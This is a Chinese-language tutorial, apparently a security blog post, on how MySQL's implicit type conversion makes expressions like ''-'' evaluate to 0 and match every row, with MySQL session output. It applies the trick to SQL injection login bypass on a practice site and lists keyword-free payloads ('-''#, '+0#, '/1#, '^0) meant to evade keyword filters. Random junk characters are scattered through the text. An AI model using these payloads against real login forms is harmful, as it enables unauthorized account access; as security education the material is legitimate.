我们先来看这样一个场景。; D) N( E% X+ z' u" t6 }: m' e$ }" b
有以下表结构: * |% E( O, V3 ?9 d q Z1 c2 r6 H
* G: M7 H/ T5 l( K: N u$ @, imysql> desc admin;
5 \" T% o( R6 j" I1 u+----------+--------------+------+-----+---------+----------------+
0 @9 U1 Z* ~/ O1 [) X: h| Field | Type | Null | Key | Default | Extra |
8 c0 M7 v; t+ ]+----------+--------------+------+-----+---------+----------------+) D, d$ D& A$ s
| id | mediumint(9) | NO | PRI | NULL | auto_increment |
3 y# G; b) P0 W* a4 z7 f| name | char(32) | NO | UNI | NULL | |
3 R+ a" O8 F% k! w' W+ L+ X: B| password | char(32) | NO | UNI | NULL | |
9 ^9 B: S9 [( S+ x+----------+--------------+------+-----+---------+----------------+4 q* @' [, u& E: C. p; ]
3 rows in set (0.00 sec)
) q6 {/ S9 d8 T: |执行select * from admin;,成功返回所有记录内容。
( N, Q* K" R1 b8 C3 Z5 f$ t0 d6 J# q7 J7 j# ]
$ `5 V) ]( g( j1 y8 p- Y6 @& j/ l+----+--------+----------------------------------+8 ^. y$ U$ S7 F' S3 j
| id | name | password |
4 e. h- k6 o- y- K; h5 V1 o+----+--------+----------------------------------+& J" [- Q( ?( }- y6 f; W0 V) _- v& b
| 1 | admin | c6dabaeeb05f2bf8690bab15e3afb022 |; u& f J7 Z) v4 z4 [6 w
| 2 | pnig0s | 998976f44e2a668k5dc21e54b3401645 |
, y/ C& D. l# d, X* j! I5 u| 4 | n00b | ff80e8508d39047460921792273533a4 |
( V/ M* Z! M, e2 _. k) |% D+----+--------+----------------------------------+1 m, `2 l& u' P
3 rows in set (0.00 sec)8 X! E- u }" s9 n8 j4 d2 ~: G
执行select * from admin where name=”;,没有匹配到任何记录。 $ k1 K6 }+ w4 B+ D
w \" C6 \" k; Q `* @6 w6 @
mysql> select * from admin where name = '';% [( x" l) W) c! g m
Empty set (0.00 sec)7 y0 h; j/ O$ h! E7 x' `
那么我们来执行select * from admin where name = ”-”;- l4 G8 l. Z1 I$ t, _4 C
: E6 C+ T5 A' I7 E/ t3 I8 `9 z
9 e/ u5 Q+ G& l: `: u; Z; d! C+----+--------+----------------------------------+: }9 Y# ^+ u* w- [4 `
| id | name | password |
; ~* {8 X% E& [ E' T+----+--------+----------------------------------+/ @# y, H# g- ~: G' p
| 1 | admin | c6dabaeeb05f2bf8690bab15e3afb022 |- g+ X9 p9 c8 s3 x4 n3 W9 C: a
| 2 | pnig0s | 998976f44e2a668k5dc21e54b3401645 |
2 K* u( [: G6 Y6 y U| 4 | n00b | ff80e8508d39047460921792273533a4 |
/ [) I# e8 J4 O6 ]+----+--------+----------------------------------+
% A" X' t E7 \- T8 ]3 rows in set, 3 warnings (0.00 sec)5 i5 f9 m, X- f' r: b; |, Q) C1 j- N! f
可以看到,也成功返回了所有记录,但是有三个warnings,我们看下警告信息:
; G- ^$ B5 W/ d4 s% e8 J% _3 Y" j; j8 ]7 r
3 u3 o: W0 ~* ]! d7 E. N2 w# `mysql> show warnings;
' ?/ O; ?, H5 s3 q! p/ z0 N+---------+------+------------------------------------------" ~, s. I2 d$ O4 G4 e0 J3 C$ p
| Level | Code | Message' {* U7 w A0 l% C1 n9 b3 c. l
+---------+------+------------------------------------------% g) Z) ] V; J" A
| Warning | 1292 | Truncated incorrect DOUBLE value: 'admin, w8 S. ~" U, t' A: C' W
| Warning | 1292 | Truncated incorrect DOUBLE value: 'pnig0s
( }5 P5 A+ M6 j| Warning | 1292 | Truncated incorrect DOUBLE value: 'n00b
$ }2 v3 [1 _" B. X& D+---------+------+------------------------------------------) F/ k% J# ?# J8 K
3 rows in set (0.00 sec)2 X! S4 c3 ?) Y/ w4 U
提示截断了错误的DOUBLE值’admin等等,当在一个字符串类型的列中使用数字类型的值时会产生这类警告。 我们单独执行select ”-”;看下结果。 ; B e5 Z+ b1 I6 ^+ @
" o5 c7 \4 O- \; n6 C7 G* k1 X, [# ]9 Rmysql> select ''-'';
n8 N! i8 |$ D* w5 ^- B1 L+-------+
/ U( M0 `/ A7 b4 a% S| ''-'' |- Q+ ?( C, L+ O6 E' t% N+ }+ e! Q
+-------+
# f. _% a* e! ~2 y5 @- O0 t| 0 |
2 k2 E- M4 L# J+-------+
7 |& \. G) d& s4 u2 K1 row in set (0.00 sec)
4 ^$ s, w( @0 b' \, ]7 m0 w返回0,也就是说我们查询的每一行的name子段都会和0做对比,这样就会触发一个类型转换,对name字段转换的结果也必然为0:
. Z& p9 n: r9 [
1 P6 N- \$ `7 w+ U! x: B! X+ Tmysql> select CAST((select name from admin limit 1,1) as DECIMAL);
/ U c2 F7 l- U& A# y% H+-----------------------------------------------------+* h' g, Y _) `+ H; h1 v
| CAST((select name from admin limit 1,1) as DECIMAL) |+ C4 O0 U5 H3 x% \+ k: F9 s& T
+-----------------------------------------------------+& |9 J1 _* b& g8 {6 ]* F
| 0 |
0 C% X3 z l) x0 s$ ^5 e+-----------------------------------------------------+
% J9 f8 r1 T! k1 row in set, 1 warning (0.00 sec)
3 a) _5 J* K! Q5 D* [因此where语句构成了相等的条件,where 0=”=”,记录被返回。 + E' i: j9 f2 s6 O# a
8 u* x) s4 {0 b" nSQL注入场景: http://www.sqlzoo.net/hack/
' M/ E+ V- P7 Z- | v/ {# m
9 k8 x. t# N( Z; Q! J5 q$ `0 d6 @" v- y6 v
8 \( D; ? v& N
& ]3 s4 C7 T8 r6 ?; b/ c( t如果我们想绕过登录验证,上面已经给出了一个传统的tips:用户名密码均为’ or ”=’ 这样的逻辑和绕过方式很常见,这里不再具体解释了。 : ~% ], Z2 K a+ |! X8 m% u+ u
& c/ c( [5 y5 O& E
那么通过这次发现的技巧,可以使用一种相当精巧的方式,且避免使用SQL关键字,来绕过登录。 1 L0 u! a3 [: l+ }: a, [1 n4 u
5 |1 Q b" n# T K0 W6 _1 d4 v1 n0 a6 p. L3 p# Y
$ K$ U& v2 M) ?
" }( v7 |. W+ A- M$ J+ G* Z仅仅在name子段输入’-”#,password留空,即可绕过登录验证。 / K- D% W+ ]" `
7 q1 i$ a, L) D - j% `, P) h/ M8 f7 d
# N; H x* [! j9 y( p" F
除了”-”,其他运算符”+”,”*”,”^”都会有同样的效果。 再继续进行测试,我们发现只要在闭合单引号的情况系构造查询结果为0的条件即可* h3 v, O: O( E! f, ~
9 v; Y; ^9 D# ?) K
7 z( O7 N, ~" Y6 [6 C
mysql> select ''/1;9 O: Z8 ?) G9 X- @, E
+------+; K+ n& j/ r. y% {6 V' S
| ''/1 |
- d+ f# i* h, [! [1 k+------+" q& Q Q. s$ e& Y$ z
| 0 |& Y5 h" ]: ? l E
+------+8 w* s$ S/ s+ {, y6 t
1 row in set (0.00 sec)! h$ h0 u0 e5 V6 C( T
类似的”+0,”-0,”*0,”^0均可。 那么刚才的注入环境我们使用以下的精简payload同样可以绕过登录认证: ‘+0#,’/1#,’^0,’-0#等等。 9 E- R& e" B4 l) g2 z1 k( |6 ^
# a; d. k# ?: E5 [- a- e
利用这样一种特性,当目标对注入语句中的SQL关键字进行过滤时,便可通过这样一种方式进行Bypass。
- ?' I) r$ B" `, d) t$ I |
|